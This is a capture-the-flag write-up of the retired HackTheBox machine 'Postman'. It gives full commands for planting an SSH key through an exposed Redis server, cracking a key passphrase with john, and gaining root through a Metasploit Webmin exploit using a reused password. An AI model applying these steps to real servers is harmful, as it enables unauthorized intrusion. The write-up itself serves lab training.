HackTheBox -Retired - Postman
Recon:
As always I start with a simple up/down scan on all TCP ports
# nmap -T4 -p- -oX /root/Desktop/HTB/postman/nmapb.xml 10.10.10.160
Then I convert the XML to HTML
Xsltproc /root/desktop/HTB/postman/nmapb.xml -o /root/Desktop/HTB/postman/nmapb.html
Ok we see port 22,80,6379 and 1000
Lets scan just those ports with the -A to finger os/services
Nmap -T4 -p 22,80, 6379,10000 -oX /root/Desktop/HTB/postman/nmapf.xml
Convert that to html too
Xsltproc /root/Desktop/HTB/postman/nmapf.xml -o /root/Desktop/HTB/postman/nmpaf.html
Ok we got SSH (Openssh 7.6p1) on port 22
HTTP ( Apache 2.4.29) on port 80
REDIS ( 4.0.9) on 6379
WEBMIN (1.910) on 10000
Let's see what's running on port 80
Just a generic page with not much to poke at
Let's run dirb at port 80 and see what we see
It found some directories to poke around in /css /fonts /images /js and
/Uploads
I really like finding dir's that are called uploads, usually that means there is someway to upload a file to the server……
What about port 1000 webmin?
Its running in ssl
Needs creds..
![Stephen Rannazzisi Kevin GIF by HULU](https://media.giphy.com/media/3o7TKEaCIrrsl672ZG/giphy.gif)
Let's do a little digging on the Redis service.. So what is Redis?
Redis is an open source (BSD licensed), in-memory data structure store, used as a database, cache and message broker.
It has a cli
Let's install it
Sudo apt-get install redis
Let's see if we can connect up to it
Cool, we can… so what can we do?
Exploit:
When I come across a tool I don't have any experience with I like to google the tools name then pentest to see what are the juicy bits
Inserting our own ssh key on to the server to connect up..
Sounds worth a try.
Let's start with Generating our SSH keys
ssh-keygen -t rsa
Now we are going to put some padding around the pub key just like they blog
(echo -e "\n\n"; cat ./keyz.pub; echo -e "\n\n") > pubkey.txt
Now we need to move the file over to redis
cat ./pubkey.txt | redis-cli -h postman.htb -x set crackit
Connect backup to redis to save our file
redis-cli -h postman.htb
Now this part took a while to find out where to save the pub key.
When connected up we were in this directory
/var/lib/redis
I tried setting the dir to /home.. But got permission denied.
But what if this file path is the home directory for a user named redis… if we add our file here in .ssh maybe we can get our shell?
config set dir /var/lib/redis/.ssh
config set dbfilename "authorized_keys"
save
This should take the file we put in redis and save it as a file named "authorized_keys" in the /.ssh folder
Now we can hopefully ssh in as redis
ssh -i ./keyz redis@postman.htb
Alright we have a foothold as redis..
Let's copy over LinEnum.sh to see if we can find any path for escalation.
Check this out
A backup of a key in a folder we might have access to?
We got a private key… I just used the clipboard to copy it locally to my machine
I changed the permission to only my user so SSH wouldn't complain about it being too open.
I save it as MattPriv
There's a passphrase… no problem we can get rid of that..
We can use ssh2john to format the key to a format that john likes
/usr/share/john/ssh2john.py ./MattPriv > johnmattpriv.txt
Now we just need to feed it to john
sudo john --wordlist=/home/circusmonkey/rockyou.txt --format=SSH ./johnmattpriv.txt
That didn't take long computer2008 is the password for the SSH key
It's not letting us SSH with that password…
![30 Rock GIF](https://media.giphy.com/media/8XVsdTd3wMgso/giphy.gif)
What about that webmin thing we found earlier? It needed creds… hopefully Matt re-uses passwords
An guess what?
He did, got in with Matt computer2008.
Googling around I found this authenticated RCE which if it works will give us root on the box..
Let's try it
Fire up metasploit and search webmin
Use 3
Set our options
We need to set the password, username, rhosts, lhosts and set the SSL flags to True since our victim is using ssl *** you might see i mistyped the password option.. I Fixed that after metasploit complained
We are in as root
Let's just grab our flags now
The shell is not working great
All done
# pwd
pwd
/home/Matt
# cat user.txt
cat user.txt
517a***************************
# cat /root/root.txt
cat /root/root.txt
a257*******************************
![Easy Office Space GIF](https://media.giphy.com/media/zcCGBRQshGdt6/giphy.gif)
Comments
Post a Comment